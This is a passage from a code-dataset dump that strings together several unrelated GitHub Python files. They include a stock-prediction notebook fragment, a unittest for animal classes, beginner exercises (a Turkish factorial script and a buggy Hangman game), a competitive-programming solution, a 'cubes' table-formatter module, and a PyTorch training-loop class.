In[23]:\n\n\ndataset[500:505]\n\n\n# In[24]:\n\n\ntrial_input = dataset.drop(columns=['date', 'volume', 'profit or not'])\ntrue_positive_input = np.asarray([[0.1081, 0.1081, 0.1007, 0.1020]])\ntrue_positive_input\n\n\n# In[25]:\n\n\ntraining_model.predict(true_positive_input)\n\n\n# In[26]:\n\n\ndataset[35:40]\n\n\n# In[27]:\n\n\ntrue_negative_input = np.asarray([[0.0998, 0.1007, 0.0998, 0.0998]])\ntrue_negative_input\n\n\n# In[28]:\n\n\ntraining_model.predict(true_negative_input)\n\n\n# In[ ]:\n\n\n\n\n","repo_name":"mehmetalpayy/IEEE-Conference-Machine-Learning","sub_path":"78Accuracy.py","file_name":"78Accuracy.py","file_ext":"py","file_size_in_byte":2947,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"22"}
+{"seq_id":"35177315925","text":"import unittest\nimport sys\nsys.path.append('../')\nfrom animal import Animal\nfrom animal import Dog\n\n\nclass TestAnimal(unittest.TestCase):\n\n    # Setting up the global references for Dog and Animal\n    @classmethod\n    def setUpClass(self):\n        self.bob = Dog(\"Bob\")\n        self.animal = Animal(\"Lucy\", \"canine\")\n\n    # Testing that there are instances of Dog and Animal\n    def test_animal_creation(self):\n\n        murph = Dog(\"Murph\")\n        self.assertIsInstance(murph, Dog)\n        self.assertIsInstance(murph, Animal)\n\n    # Testing that when we pass in a number of legs, that is the number of legs returned\n    def test_animal_can_set_legs(self):\n\n        self.bob.set_legs(6)\n        self.assertEqual(self.bob.legs, 6 )\n\n    # Testing the walk calculation by passing in number of legs , then seeing if that number of legs is returned and then seeing if the speed is what we expect\n    def test_animal_can_calc_walk(self):\n\n        self.bob.set_legs(4)\n        self.bob.walk()\n        self.assertEqual(self.bob.legs, 4)\n        self.assertEqual(self.bob.speed, .8 )\n\n    # Testing to see if the species we pass in is returned back to us\n    def test_animal_can_set_species(self):\n\n        self.animal.set_species(\"human\")\n        self.assertEqual(self.animal.species, \"human\")\n        # The value in species was changed to human so this should return as Failed (below)\n        # self.assertEqual(self.animal.species, \"canine\")\n\n    # Testing to see if we are getting the species we expect\n    def test_animal_can_get_species(self):\n\n        self.animal.get_species()\n        self.assertEqual(self.animal.species, \"canine\")\n        # The default species is canine so this should return as Failed (below)\n        # self.assertEqual(self.animal.species, \"human\")\n\n\n\n\nif __name__ == '__main__':\n    unittest.main()","repo_name":"Deanna2000/python-testing","sub_path":"test_animal.py","file_name":"test_animal.py","file_ext":"py","file_size_in_byte":1821,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"29213319792","text":"sayi = int(input(\" Bir sayı giriniz:\"))\r\ni = 0\r\ntoplam = 0\r\nfaktöriyel = 1\r\n\r\nif sayi >= 16 or sayi < 0:\r\n    print(\"Lütfen 0 ile 16 arası bir sayı giriniz:\")\r\nelif sayi >= 9 and sayi < 16:\r\n    for i in range(0,(sayi * 2) + 1,2):\r\n        toplam = toplam+i\r\n    print(\"Girilen Sayı:\",sayi,\"Sayının 2'şerli toplamı:\",toplam)\r\nelif sayi <9 and  sayi >=0 :\r\n    for i in range (1,(sayi* 3) + 1 ):\r\n        faktöriyel = faktöriyel*i\r\n\r\n    print(\"Girilen Sayı:\",sayi, \"Sayının Faktörileyi: \",faktöriyel)\r\n","repo_name":"buketkrgz/algoritma_final_odevi","sub_path":"soru_2.py","file_name":"soru_2.py","file_ext":"py","file_size_in_byte":519,"program_lang":"python","lang":"tr","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"9304882562","text":"#M2 T1 Define the list of possible words\r\n\r\nword_list = [\"banana\", \"kiwi\", \"avocado\", \"apple\", \"pear\"]\r\nprint(*word_list)\r\n\r\n#M2 T2 Choose a random word from the list\r\nimport random \r\nprint(random.choice(word_list))\r\n\r\n#M2 T3 Ask the user for input\r\nguess = input(\"Guess a letter\")\r\n\r\n#M2 T4 Check that the input is a single character\r\n\r\nif len(guess) == 1 and guess.isalpha() == True:\r\n    print(\"Good guess!\")\r\nelse:\r\n    print(\"That is not a valid input\")\r\n#M3 T1 Iteratively check if the input is a valid guess \r\n\r\nguess = input(\"Guess a letter\")\r\nwhile True:\r\n    if len(guess) == 1 and guess.isalpha() == True:\r\n        break\r\n    else:\r\n        print(\"Invalid letter. Please, enter a single alphabetical charachter\")\r\n\r\n#M3 T2 Check whether the guess is in the word\r\nif guess in word_list:\r\n    print(\"Goode guess! {guess} is in the word.\")\r\nelse:\r\n    print(\"Sorry, {guess} is not in the word. Try again.\")\r\n\r\n#M3 T3 Create functions to run the checks\r\ndef check_guess(guess):\r\n    lowercase = guess.lower()    \r\n   \r\ndef ask_for_input():\r\n   guess = input(\"Guess a letter\")\r\nwhile True:\r\n    if len(guess) == 1 and guess.isalpha() == True:\r\n        break\r\n    else:\r\n        print(\"Invalid letter. Please, enter a single alphabetical charachter\")\r\nask_for_input() \r\n\r\n\r\n#M4 Create the game class\r\n#M4 T1 Create the class\r\nclass Hangman:\r\n    def __init__(self, word, word_list, num_lives, word_guessed, num_letters, list_of_guesses):\r\n        import random\r\n        self.word = word\r\n        self.word_list = word_list\r\n        self.num_lives = 5\r\n        self.word_guessed = [\"_\",\"_\",\"_\",\"_\",\"_\"]\r\n        self.num_letters = num_letters\r\n        self.list_of_guesses = []\r\n\r\n#M4 T2 Create methods for running the checks\r\nword_list = [\"banana\", \"kiwi\", \"avocado\", \"apple\", \"pear\"]\r\nimport random \r\nprint(random.choice(word_list))\r\n\r\ndef check_guess(guess):                            \r\n    guess = input(\"Guess a letter\")\r\n    guess = guess.lower()  \r\n                            \r\nsecretword = (random.choice(word_list))\r\nif guess in secretword:                         \r\n    print(\"Good guess! {guess} is in the word\") \r\n\r\ncheck_guess(guess) \r\n\r\ndef ask_for_input(guess):\r\n    list_of_guessess = [] \r\n    from typing import List\r\n        \r\n    while True:                                     \r\n        guess = input(\"Guess a letter\")                \r\n        if len(guess) != 1 and guess != guess.isalpha:  \r\n            print(\"Invalid letter. Please enter a single alphabetical character\")\r\n\r\n        elif guess in list_of_guessess(guess):                 \r\n            print(\"You already tried that letter\")      \r\n        else:\r\n            check_guess(guess)\r\n        \r\nask_for_input(guess)  #When calling this it shows up as error : NameError: name 'list_of_guesses' is not defined????\r\n\r\n#M4 T3 Define what happens if the letter is in the word\r\n                           \r\ndef check_guess(guess):                                  \r\n    guess = input(\"Guess a letter\")\r\n    guess = guess.lower()                           \r\n    secretword = (random.choice(word_list))\r\n         \r\n    for word_guessed in word_list:                    #M4 T4 Define what happens if the letter is NOT in the word\r\n        if word_guessed == guess:                            \r\n                index = word_guessed.index(guess)\r\n                print(\"Good guess! {guess} is in the word\") \r\n                break\r\n        else: num_lives -= 1\r\n        print(\"Sorry, {letter} is not in the word. You have {num_lives} left.\")\r\nlist_of_guesses.append(guess)   \r\nnum_letters -= 1\r\n\r\n# M5 T1 Code the logic of the game\r\n\r\ndef play_game(word_list):\r\n        Hangman()\r\nHangman = game(word_list, num_lives)\r\n\r\n#Pass word_list and num_lives as arguments to the game object ?????????\r\nwhile True:\r\n        if num_lives == 0:\r\n            print(\"You lost!\")\r\n        elif num_letters >0:\r\n            ask_for_input()\r\n        else: \r\n            num_lives != 0\r\n            print(\"Congratulations. You won the game!\")\r\n            \r\nplay_game(word_list)\r\n","repo_name":"DulceF/Aicore_milestone_notes","sub_path":"The Hangman game(complete).py","file_name":"The Hangman game(complete).py","file_ext":"py","file_size_in_byte":4042,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"14080307752","text":"# -*- coding: utf-8 -*-\nfrom .compat import StringIO\nfrom collections import namedtuple\n\nfrom .extensions import Extensible, extensions\nfrom .errors import *\n\ntry:\n    import jinja2\nexcept ImportError:\n    from .common import MissingPackage\n    jinja2 = MissingPackage(\"jinja2\", \"Templating engine\")\n\n__all__ = [\n            \"TextTableFormatter\",\n            \"SimpleDataTableFormatter\",\n            \"SimpleHTMLTableFormatter\",\n            \"CrossTableFormatter\",\n            \"HTMLCrossTableFormatter\",\n            \"create_formatter\"\n            ]\n\ndef create_formatter(type_, *args, **kwargs):\n    \"\"\"Creates a formatter of type `type`. Passes rest of the arguments to the\n    formatters initialization method.\"\"\"\n    return extensions.formatter(type_, *args, **kwargs)\n\n\ndef _jinja_env():\n    \"\"\"Create and return cubes jinja2 environment\"\"\"\n    loader = jinja2.PackageLoader('cubes', 'templates')\n    env = jinja2.Environment(loader=loader)\n    return env\n\n\ndef parse_format_arguments(formatter, args, prefix=\"f:\"):\n    \"\"\"Parses dictionary of `args` for formatter\"\"\"\n\n\nclass Formatter(Extensible):\n    \"\"\"Empty class for the time being. Currently used only for finding all\n    built-in subclasses\"\"\"\n    def __call__(self, *args, **kwargs):\n        return self.format(*args, **kwargs)\n\n\nclass TextTableFormatter(Formatter):\n    parameters = [\n                {\n                    \"name\": \"aggregate_format\",\n                    \"type\": \"string\",\n                    \"label\": \"Aggregate format\"\n                },\n                {\n                    \"name\": \"dimension\",\n                    \"type\": \"string\",\n                    \"label\": \"Dimension to drill-down by\"\n                },\n                {\n                    \"name\": \"measures\",\n                    \"type\": \"list\",\n                    \"label\": \"list of measures\"\n                }\n            ]\n\n    mime_type = \"text/plain\"\n\n    def __init__(self, aggregate_format=None):\n        super(TextTableFormatter, self).__init__()\n        self.agg_format = aggregate_format or {}\n\n    def format(self, result, dimension, aggregates=None, hierarchy=None):\n        cube = result.cell.cube\n        aggregates = cube.get_aggregates(aggregates)\n\n        rows = []\n        label_width = 0\n        aggregate_widths = [0] * len(aggregates)\n\n        for row in result.table_rows(dimension, hierarchy=hierarchy):\n            display_row = []\n            label_width = max(label_width, len(row.label))\n            display_row.append( (row.label, '<') )\n\n            for i, aggregate in enumerate(aggregates):\n                if aggregate.function in [\"count\", \"count_nonempty\"]:\n                    default_fmt = \"d\"\n                else:\n                    default_fmt = \".2f\"\n\n                fmt = self.agg_format.get(aggregate.ref(), default_fmt)\n                text = format(row.record[aggregate.ref()], fmt)\n                aggregate_widths[i] = max(aggregate_widths[i], len(text))\n                display_row.append( (text, '>') )\n            rows.append(display_row)\n\n        widths = [label_width] + aggregate_widths\n        stream = StringIO()\n\n        for row in rows:\n            for i, fvalue in enumerate(row):\n                value = fvalue[0]\n                alignment = fvalue[1]\n                text = format(value, alignment + \"%ds\" % (widths[i]+1))\n                stream.write(text)\n            stream.write(\"\\n\")\n\n        value = stream.getvalue()\n        stream.close()\n\n        return value\n\n\nclass SimpleDataTableFormatter(Formatter):\n\n    parameters = [\n                {\n                    \"name\": \"dimension\",\n                    \"type\": \"string\",\n                    \"label\": \"dimension to consider\"\n                },\n                {\n                    \"name\": \"aggregates\",\n                    \"short_name\": \"aggregates\",\n                    \"type\": \"list\",\n                    \"label\": \"list of aggregates\"\n                }\n            ]\n\n    mime_type = \"application/json\"\n\n    def __init__(self, levels=None):\n        \"\"\"Creates a formatter that formats result into a tabular structure.\n        \"\"\"\n\n        super(SimpleDataTableFormatter, self).__init__()\n\n    def format(self, result, dimension, hierarchy=None, aggregates=None):\n\n        cube = result.cell.cube\n        aggregates = cube.get_aggregates(aggregates)\n\n        dimension = cube.dimension(dimension)\n        hierarchy = dimension.hierarchy(hierarchy)\n        cut = result.cell.cut_for_dimension(dimension)\n\n        if cut:\n            rows_level = hierarchy[cut.level_depth()+1]\n        else:\n            rows_level = hierarchy[0]\n\n        is_last = hierarchy.is_last(rows_level)\n\n        rows = []\n\n        for row in result.table_rows(dimension):\n            rheader = { \"label\":row.label,\n                        \"key\":row.key}\n            # Get values for aggregated measures\n            data = [row.record[str(agg)] for agg in aggregates]\n            rows.append({\"header\":rheader, \"data\":data, \"is_base\": row.is_base})\n\n        labels = [agg.label or agg.name for agg in aggregates]\n\n        hierarchy = dimension.hierarchy()\n        header = [rows_level.label or rows_level.name]\n        header += labels\n\n        data_table = {\n                \"header\": header,\n                \"rows\": rows\n                }\n\n        return data_table;\n\nclass TextTableFormatter2(Formatter):\n    parameters = [\n                {\n                    \"name\": \"measure_format\",\n                    \"type\": \"string\",\n                    \"label\": \"Measure format\"\n                },\n                {\n                    \"name\": \"dimension\",\n                    \"type\": \"string\",\n                    \"label\": \"dimension to consider\"\n                },\n                {\n                    \"name\": \"measures\",\n                    \"type\": \"list\",\n                    \"label\": \"list of measures\"\n                }\n            ]\n\n    mime_type = \"text/plain\"\n\n    def __init__(self):\n        super(TextTableFormatter, self).__init__()\n\n    def format(self, result, dimension, measures):\n        cube = result.cube\n        dimension = cube.dimension(dimension)\n\n        if not result.has_dimension(dimension):\n            raise CubesError(\"Result was not drilled down by dimension \"\n                             \"'%s'\" % str(dimension))\n\n        raise NotImplementedError\n        table_formatter = SimpleDataTableFormatter()\n\nCrossTable = namedtuple(\"CrossTable\", [\"columns\", \"rows\", \"data\"])\n\nclass CrossTableFormatter(Formatter):\n    parameters = [\n                {\n                    \"name\": \"aggregates_on\",\n                    \"type\": \"string\",\n                    \"label\": \"Localtion of aggregates. Can be columns, rows or \"\n                             \"cells\",\n                    \"scope\": \"formatter\",\n                },\n                {\n                    \"name\": \"onrows\",\n                    \"type\": \"attributes\",\n                    \"label\": \"List of dimension attributes to be put on rows\"\n                },\n                {\n                    \"name\": \"oncolumns\",\n                    \"type\": \"attributes\",\n                    \"label\": \"List of attributes to be put on columns\"\n                },\n                {\n                    \"name\": \"aggregates\",\n                    \"short_name\": \"aggregates\",\n                    \"type\": \"list\",\n                    \"label\": \"list of aggregates\"\n                }\n            ]\n\n    mime_type = \"application/json\"\n\n    def __init__(self, aggregates_on=None):\n        \"\"\"Creates a cross-table formatter.\n\n        Arguments:\n\n        * `aggregates_on` – specify how to put aggregates in the table. Might\n          be one of ``rows``, ``columns`` or ``cells`` (default).\n\n        If aggregates are put on rows or columns, then respective row or\n        column is added per aggregate. The data contains single aggregate\n        values.\n\n        If aggregates are put in the table as cells, then the data contains\n        tuples of aggregates in the order as specified in the `aggregates`\n        argument of `format()` method.\n        \"\"\"\n\n        super(CrossTableFormatter, self).__init__()\n\n        self.aggregates_on = aggregates_on\n\n    def format(self, result, onrows=None, oncolumns=None, aggregates=None,\n               aggregates_on=None):\n        \"\"\"\n        Creates a cross table from a drilldown (might be any list of records).\n        `onrows` contains list of attribute names to be placed at rows and\n        `oncolumns` contains list of attribute names to be placet at columns.\n        `aggregates` is a list of aggregates to be put into cells. If\n        aggregates are not specified, then only ``record_count`` is used.\n\n        Returns a named tuble with attributes:\n\n        * `columns` - labels of columns. The tuples correspond to values of\n          attributes in `oncolumns`.\n        * `rows` - labels of rows as list of tuples. The tuples correspond to\n          values of attributes in `onrows`.\n        * `data` - list of aggregate data per row. Each row is a list of\n          aggregate tuples.\n\n        \"\"\"\n\n        # Use formatter's default, if set\n        aggregates_on = aggregates_on or self.aggregates_on\n        cube = result.cell.cube\n        aggregates = cube.get_aggregates(aggregates)\n\n        matrix = {}\n        row_hdrs = []\n        column_hdrs = []\n\n        labels = [agg.label for agg in aggregates]\n        agg_refs = [agg.ref() for agg in aggregates]\n\n        if aggregates_on is None or aggregates_on == \"cells\":\n            for record in result.cells:\n                # Get table coordinates\n                hrow = tuple(record[f] for f in onrows)\n                hcol = tuple(record[f] for f in oncolumns)\n\n                if not hrow in row_hdrs:\n                    row_hdrs.append(hrow)\n                if not hcol in column_hdrs:\n                    column_hdrs.append(hcol)\n\n                matrix[(hrow, hcol)] = tuple(record[a] for a in agg_refs)\n\n        else:\n            for record in result.cells:\n                # Get table coordinates\n                base_hrow = [record[f] for f in onrows]\n                base_hcol = [record[f] for f in oncolumns]\n\n                for i, agg in enumerate(aggregates):\n\n                    if aggregates_on == \"rows\":\n                        hrow = tuple(base_hrow + [agg.label or agg.name])\n                        hcol = tuple(base_hcol)\n\n                    elif aggregates_on == \"columns\":\n                        hrow = tuple(base_hrow)\n                        hcol = tuple(base_hcol + [agg.label or agg.name])\n\n                    if not hrow in row_hdrs:\n                        row_hdrs.append(hrow)\n\n                    if not hcol in column_hdrs:\n                        column_hdrs.append(hcol)\n\n                    matrix[(hrow, hcol)] = record[agg.ref()]\n\n        data = []\n\n        for hrow in row_hdrs:\n            row = [matrix.get((hrow, hcol)) for hcol in column_hdrs]\n            data.append(row)\n\n        return CrossTable(column_hdrs, row_hdrs, data)\n\nclass HTMLCrossTableFormatter(CrossTableFormatter):\n    parameters = [\n                {\n                    \"name\": \"aggregates_on\",\n                    \"type\": \"string\",\n                    \"label\": \"Localtion of measures. Can be columns, rows or \"\n                             \"cells\",\n                    \"scope\": \"formatter\",\n                },\n                {\n                    \"name\": \"onrows\",\n                    \"type\": \"attributes\",\n                    \"label\": \"List of dimension attributes to be put on rows\"\n                },\n                {\n                    \"name\": \"oncolumns\",\n                    \"type\": \"attributes\",\n                    \"label\": \"List of attributes to be put on columns\"\n                },\n                {\n                    \"name\": \"aggregates\",\n                    \"short_name\": \"aggregates\",\n                    \"type\": \"list\",\n                    \"label\": \"list of aggregates\"\n                },\n                {\n                    \"name\": \"table_style\",\n                    \"description\": \"CSS style for the table\"\n                }\n            ]\n    mime_type = \"text/html\"\n\n    def __init__(self, aggregates_on=\"cells\", measure_labels=None,\n            aggregation_labels=None, measure_label_format=None,\n            count_label=None, table_style=None):\n        \"\"\"Create a simple HTML table formatter. See `CrossTableFormatter` for\n        information about arguments.\"\"\"\n\n        if aggregates_on not in [\"columns\", \"rows\", \"cells\"]:\n            raise ArgumentError(\"aggregates_on sohuld be either 'columns' \"\n                                \"or 'rows', is %s\" % aggregates_on)\n\n        super(HTMLCrossTableFormatter, self).__init__(aggregates_on)\n\n        self.env = _jinja_env()\n        self.template = self.env.get_template(\"cross_table.html\")\n        self.table_style = table_style\n\n    def format(self, result, onrows=None, oncolumns=None, aggregates=None):\n\n        table = super(HTMLCrossTableFormatter, self).format(result,\n                                                        onrows=onrows,\n                                                        oncolumns=oncolumns,\n                                                        aggregates=aggregates)\n        output = self.template.render(table=table,\n                                      table_style=self.table_style)\n        return output\n\n\nclass SimpleHTMLTableFormatter(Formatter):\n\n    parameters = [\n                {\n                    \"name\": \"dimension\",\n                    \"type\": \"string\",\n                    \"label\": \"dimension to consider\"\n                },\n                {\n                    \"name\": \"aggregates\",\n                    \"short_name\": \"aggregates\",\n                    \"type\": \"list\",\n                    \"label\": \"list of aggregates\"\n                }\n            ]\n\n    mime_type = \"text/html\"\n\n    def __init__(self, create_links=True, table_style=None):\n        \"\"\"Create a simple HTML table formatter\"\"\"\n\n        super(SimpleHTMLTableFormatter, self).__init__()\n\n        self.env = _jinja_env()\n        self.formatter = SimpleDataTableFormatter()\n        self.template = self.env.get_template(\"simple_table.html\")\n        self.create_links = create_links\n        self.table_style = table_style\n\n    def format(self, result, dimension, aggregates=None, hierarchy=None):\n        cube = result.cell.cube\n        dimension = cube.dimension(dimension)\n        hierarchy = dimension.hierarchy(hierarchy)\n        aggregates = cube.get_aggregates(aggregates)\n\n        cut = result.cell.cut_for_dimension(dimension)\n\n        if cut:\n            is_last = cut.level_depth() >= len(hierarchy)\n        else:\n            is_last = False\n\n        table = self.formatter.format(result, dimension, aggregates=aggregates)\n\n        output = self.template.render(cell=result.cell,\n                                      dimension=dimension,\n                                      table=table,\n                                      create_links=self.create_links,\n                                      table_style=self.table_style,\n                                      is_last=is_last)\n        return output\n\nclass RickshawSeriesFormatter(Formatter):\n    \"\"\"Presenter for series to be used in Rickshaw JavaScript charting\n    library.\n\n    Library URL: http://code.shutterstock.com/rickshaw/\"\"\"\n\n    def format(self, result, aggregate):\n        data = []\n        for x, row in enumerate(result):\n            data.append({\"x\":x, \"y\":row[str(aggregate)]})\n        return data\n\n_default_ricshaw_palette = [\"mediumorchid\", \"steelblue\", \"turquoise\",\n                            \"mediumseagreen\", \"gold\", \"orange\", \"tomato\"]\n\nclass RickshawMultiSeriesFormatter(Formatter):\n    \"\"\"Presenter for series to be used in Rickshaw JavaScript charting\n    library.\n\n    Library URL: http://code.shutterstock.com/rickshaw/\"\"\"\n\n    def format(self, result, series_dimension, values_dimension,\n                aggregate, color_map=None, color_palette=None):\n        \"\"\"Provide multiple series. Result is expected to be ordered.\n\n        Arguments:\n            * `result` – AggregationResult object\n            * `series_dimension` – dimension used for split to series\n            * `value_dimension` – dimension used to get values\n            * `aggregated_measure` – measure attribute to be plotted\n            * `color_map` – The dictionary is a map between dimension keys and\n              colors, the map keys should be strings.\n            * `color_palette` – List of colors that will be cycled for each\n              series.\n\n        Note: you should use either color_map or color_palette, not both.\n        \"\"\"\n\n        if color_map and color_palette:\n            raise CubesError(\"Use either color_map or color_palette, not both\")\n\n        color_map = color_map or {}\n        color_palette = color_palette or _default_ricshaw_palette\n\n        cube = result.cell.cube\n        series_dimension = cube.dimension(series_dimension)\n        values_dimension = cube.dimension(values_dimension)\n        try:\n            series_level = result.levels[str(series_dimension)][-1]\n        except KeyError:\n            raise CubesError(\"Result was not drilled down by dimension '%s'\" \\\n                                % str(series_dimension))\n        try:\n            values_level = result.levels[str(values_dimension)][-1]\n        except KeyError:\n            raise CubesError(\"Result was not drilled down by dimension '%s'\" \\\n                                % str(values_dimension))\n        series = []\n        rows = [series_level.key.ref(), series_level.label_attribute.ref()]\n        columns = [values_level.key.ref(), values_level.label_attribute.ref()]\n\n        cross_table = result.cross_table(onrows=rows,\n                                         oncolumns=columns,\n                                         aggregates=[aggregate])\n\n        color_index = 0\n\n        for head, row in zip(cross_table.rows, cross_table.data):\n            data = []\n            for x, value in enumerate(row):\n                data.append({\"x\":x, \"y\":value[0]})\n\n            # Series label is in row heading at index 1\n            series_dict = {\n                            \"data\": data,\n                            \"name\": head[1]\n                          }\n            # Use dimension key for color\n            if color_map:\n                series_dict[\"color\"] = color_map.get(str(head[0]))\n            elif color_palette:\n                color_index = (color_index + 1) % len(color_palette)\n                series_dict[\"color\"] = color_palette[color_index]\n\n            series.append(series_dict)\n\n        return series\n\n","repo_name":"zixuedanxin/py_learn","sub_path":"learn_web/django_demo/venv/Lib/site-packages/cubes-1.0.1-py3.5.egg/cubes/formatter.py","file_name":"formatter.py","file_ext":"py","file_size_in_byte":18613,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"16763908247","text":"#!/usr/bin/env python3.8\nN = int(input())\nA = list(map(int, input().split()))\n\nA.sort()\n\nE = []\nO = []\n\nfor a in A:\n  if a % 2 == 0:\n    E.append(a)\n  else:\n    O.append(a)\n\nm = -1\nif len(E) >= 2:\n  m = max(m, E[-2] + E[-1])\nif len(O) >= 2:\n  m = max(m, O[-2] + O[-1])\nprint(m)","repo_name":"harukaeru/CompetitiveProgramming","sub_path":"abc272/C/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":277,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"22"}
+{"seq_id":"30468374175","text":"import math\nfrom datetime import datetime\nimport torch\nfrom torch import optim\nfrom torch.utils.data import DataLoader\n\nfrom config import DEVICE, MAX_LENGTH\nfrom .dataset import ExtBuilder, BleuRankBuilder, CompExpGenBuilder\nfrom .voc import voc\nfrom .loss import mask_nll_loss\nfrom .decoder import SearchDecoder\nfrom .utils import ParallelBleu\n\n\nclass AbstractTrainer:\n    ''' Abstract Trainer Pipeline '''\n\n    def __init__(\n        self,\n        model,\n        ckpt_mng,\n        batch_size=64,\n        lr=.01,\n        l2=0,\n        clip=1.,\n        patience=5,\n        max_iters=None,\n        save_every=5,\n        grp_config=None\n    ):\n        self.model = model\n\n        self.ckpt_mng = ckpt_mng\n\n        self.batch_size = batch_size\n\n        self.optimizer = optim.Adam(\n            model.parameters(),\n            lr=lr,\n            weight_decay=l2\n        )\n        self.clip = clip\n\n        # trained epochs\n        self.trained_epoch = 0\n        self.train_results = []\n        self.val_results = []\n        self.best_epoch = self._best_epoch()\n\n        self.collate_fn = None  # must be rewritten\n\n        self.patience = patience\n        self.max_iters = float('inf') if max_iters is None else max_iters\n        self.save_every = save_every\n\n        self.ckpt_name = lambda epoch: str(epoch)\n\n        self.grp_config = grp_config\n\n        # self.optim_scheduler = optim.lr_scheduler.StepLR(self.optimizer, step_size=10, gamma=0.5)\n\n    def log(self, *args):\n        '''formatted log output for training'''\n\n        time = datetime.now().strftime('%Y-%m-%d %H:%M:%S')\n        print(f'{time}   ', *args)\n\n    def resume(self, checkpoint):\n        '''load checkpoint'''\n\n        self.trained_epoch = checkpoint['epoch']\n        self.train_results = checkpoint['train_results']\n        self.val_results = checkpoint['val_results']\n        self.optimizer.load_state_dict(checkpoint['opt'])\n        self.best_epoch = self._best_epoch()\n\n    def reset_epoch(self):\n        self.trained_epoch = 0\n        self.train_results = []\n        self.val_results = []\n        self.best_epoch = self._best_epoch()\n\n    def run_batch(self, training_batch, val=False):\n        '''\n        Run a batch of any batch size with the model\n\n        Inputs:\n          training_batch: train data batch created by batch_2_seq\n          val: if it is for validation, no backward & optim\n        Outputs:\n          result: tuple (loss, *other_stats) of numbers or element tensor\n            loss: a loss tensor to optimize\n            other_stats: any other values to accumulate\n        '''\n\n        pass\n\n    def run_epoch(self, train_data, dev_data):\n        trainloader = DataLoader(train_data, collate_fn=self.collate_fn,\n                                 batch_size=self.batch_size, shuffle=True, num_workers=4)\n\n        # maximum iteration per epoch\n        iter_len = min(self.max_iters, len(trainloader))\n\n        # culculate print every to ensure ard 5 logs per epoch\n        PRINT_EVERY = 10 ** round(math.log10(iter_len / 5))\n\n        while True:\n            epoch = self.trained_epoch + 1\n\n            self.model.train()\n            results_sum = []\n\n            for idx, training_batch in enumerate(trainloader):\n                if idx >= iter_len:\n                    break\n\n                # run a training iteration with batch\n                training_batch.to(DEVICE)\n                batch_result = self.run_batch(training_batch)\n                if type(batch_result) != tuple:\n                    batch_result = (batch_result,)\n\n                loss = batch_result[0]\n\n                self.optimizer.zero_grad()\n                loss.backward()\n\n                # Clip gradients: gradients are modified in place\n                if self.clip:\n                    _ = torch.nn.utils.clip_grad_norm_(\n                        self.model.parameters(), self.clip)\n\n                # Adjust model weights\n                self.optimizer.step()\n\n                # Accumulate results\n                self._accum_results(results_sum, batch_result)\n\n                # Print progress\n                iteration = idx + 1\n                if iteration % PRINT_EVERY == 0:\n                    print_result = self._sum_to_result(results_sum, iteration)\n                    self.log('Epoch {}; Iter: {} {:.1f}%; {};'.format(\n                        epoch, iteration, iteration / iter_len * 100, self._result_to_str(print_result)))\n\n            epoch_result = self._sum_to_result(results_sum, iteration)\n            self.train_results.append(epoch_result)\n\n            # validation\n            with torch.no_grad():\n                self.model.eval()\n                val_result = self.validate(dev_data)\n                self.model.train()\n\n            self.log('Validation; Epoch {}; {};'.format(\n                epoch, self._result_to_str(val_result)))\n\n            self.val_results.append(val_result)\n\n            # new best if no prev best or the sort key is smaller than prev best's\n            is_new_best = self.best_epoch is None or \\\n                self._result_sort_key(val_result) < self._result_sort_key(\n                    self.val_results[self.best_epoch-1])\n\n            self._handle_ckpt(epoch, is_new_best)\n            self.trained_epoch += 1\n\n            if is_new_best:\n                self.best_epoch = epoch\n\n            # self.optim_scheduler.step()\n\n            yield is_new_best\n\n    def train(self, train_data, dev_data):\n        patience = self.patience  # end the function when reaching threshold\n\n        epoch = self.trained_epoch + 1\n\n        # Data loaders with custom batch builder\n        self.log(f'Start training from epoch {epoch}...')\n\n        run_epoch = self.run_epoch(train_data, dev_data)\n\n        while patience:\n            is_new_best = next(run_epoch)\n\n            # if better than before, recover patience; otherwise, lose patience\n            if is_new_best:\n                patience = self.patience\n            else:\n                patience -= 1\n\n        best_result = self.val_results[self.best_epoch-1]\n        self.log('Training ends: best result {} at epoch {}'.format(\n            self._result_to_str(best_result), self.best_epoch))\n\n    def validate(self, dev_data):\n        devloader = DataLoader(\n            dev_data, collate_fn=self.collate_fn, batch_size=self.batch_size, shuffle=False)\n\n        results_sum = []\n\n        for dev_batch in devloader:\n            dev_batch.to(DEVICE)\n            result = self.run_batch(dev_batch, val=True)\n            if type(result) != tuple:\n                result = (result,)\n\n            # Accumulate results\n            self._accum_results(results_sum, result)\n\n        return self._sum_to_result(results_sum, len(devloader))\n\n    def _result_to_str(self, epoch_result):\n        ''' convert result list to readable string '''\n        return 'Loss: {:.4f}'.format(epoch_result)\n\n    def _sum_to_result(self, results_sum, length):\n        '''\n        Convert accumulated sum of results to epoch result\n        by default return the average batch loss\n        '''\n        loss_sum = results_sum[0]\n        return loss_sum / length\n\n    def _accum_results(self, results_sum, batch_result):\n        ''' accumulate batch result of run batch '''\n\n        while len(results_sum) < len(batch_result):\n            results_sum.append(0)\n        for i, val in enumerate(batch_result):\n            results_sum[i] += val.item() if torch.is_tensor(val) else val\n\n    def _result_sort_key(self, result):\n        ''' return the sorting value of a result, the smaller the better '''\n        return result\n\n    def _best_epoch(self):\n        '''\n        get the epoch of best result, smallest sort key value, from results savings when resumed from checkpoint\n        '''\n\n        best_val, best_epoch = math.inf, None\n\n        for i, result in enumerate(self.val_results):\n            val = self._result_sort_key(result)\n            if val < best_val:\n                best_val = val\n                best_epoch = i + 1\n\n        return best_epoch\n\n    def _handle_ckpt(self, epoch, is_new_best):\n        '''\n        Always save a checkpoint for the latest epoch\n        Remove the checkpoint for the previous epoch\n        If the latest is the new best record, remove the previous best\n        Regular saves are exempted from removes\n        '''\n\n        # save new checkpoint\n        cp_name = self.ckpt_name(epoch)\n        self.ckpt_mng.save(cp_name, {\n            'epoch': epoch,\n            'train_results': self.train_results,\n            'val_results': self.val_results,\n            'model': self.model.state_dict(),\n            'opt': self.optimizer.state_dict()\n        }, best=is_new_best)\n        self.log('Save checkpoint:', cp_name)\n\n        epochs_to_purge = []\n        # remove previous non-best checkpoint\n        prev_epoch = epoch 